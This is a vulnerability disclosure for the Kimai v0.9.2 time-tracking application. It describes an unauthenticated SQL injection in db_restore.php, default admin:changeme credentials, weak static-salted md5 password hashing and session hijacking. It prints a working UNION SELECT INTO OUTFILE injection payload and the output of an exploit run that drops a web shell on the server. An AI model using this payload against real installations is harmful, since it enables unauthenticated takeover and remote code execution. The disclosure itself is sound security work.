Kimai v0.9.2 - SQLi

Kimai is a time tracking solution built on the typical LAMP stack. Multiple vulnerabilities were discovered that could allow remote code execution on the remote server. These appear to be fixed in their source repository (here), but none of the distribution packages (v0.9.2.1306-3) have the patched version.

On installation, a default administrative account is generated with the following credentials: admin:changeme. The /install/ folder is not automatically deleted, but instead a pop-up is shown each time the administrator logs in, alerting them that they should delete this folder in order to protect their system from malicious modifications. If this folder is not deleted, it could allow unauthenticated users the ability to wipe the remote system’s install of Kimai.

There are multiple directory indexes (/kimai/libraries/) that disclose paths, version information, and files, as well as path disclosure (/kimai/error.php?err=db):

The file /kimai/db_restore.php is an experimental page that can be used to restore, delete, and create backups of the Kimai system. This page can be accessed without authentication or authorization, and no audit log is generated. This page is vulnerable to SQLi when restoring a generated backup.

Once a backup is created, the recovery POST appears as such:

POST /kimai/db_restore.php HTTP/1.1
Host: 192.168.1.219
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.219/kimai/db_restore.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

dates%5B%5D=1369028276&submit=recover

The initial request is pulled in from the following:

if (isset($_REQUEST['submit'])) 
{
    if (($_REQUEST['submit'] == $kga['lang']['backup'][2]) && (isset($_REQUEST['dates']))) 
    {
        $dates = $_REQUEST['dates'];

The tables are then queried, and the following code is executed:

      // Bis rev 733 gab es in tabelle ldr keinen Primary Key ...
            $query = "SELECT value FROM kimai_bak_" . $dates[0] . "_kimai_var WHERE var = 'revision' LIMIT 0,1;";
       
            if ($kga['server_conn'] == "pdo") {
                    if (is_object($pdo_conn)) {
                        $pdo_query = $pdo_conn->prepare($query);
                        $success = $pdo_query->execute(array());
                    $revision = $pdo_query->fetch(PDO::FETCH_ASSOC);
                    }
            } else {
                if (is_object($conn)) {
                    $success = $conn->Query($query);
                $revision = $conn->RowArray(0,MYSQL_ASSOC);
                }
            }

The dates parameter is used within the query without sanitization, leading to a classic SQL injection vulnerability. This is quite serious as the page is accessible without needing to be authenticated or authorized to the Kimai system.

We can exploit this by generating a new backup, and running a typical SQLi, where the POST data appears as such:

dates%5B%5D=1369028276_kimai_var%20UNION%20SELECT%20INTO%20OUTFILE%20'hacked';--%20&submit=recover

This will dump all output from the query into the file ‘hacked’ on the remote server. Using this, we can dump one column from any table in the database.

Passwords are stored using the following:

$passCrypt = md5($kga['password_salt'].$password.$kga['password_salt']);

This is quite weak, as the salt is static for each user and can be pulled from the include/autoconf.php file.

Session’s do not enforce any form of source verification, and thusly can be hijacked.

Here’s a run from the script:

root@kali:~# python kimai_sqli.py -i 192.168.1.83 -w
[!] Using backup id 1369074792
[!] Shell dropped.  Go hit http://192.168.1.83/kimai/41e93.php?rr=ls
root@kali:~# 

Exploit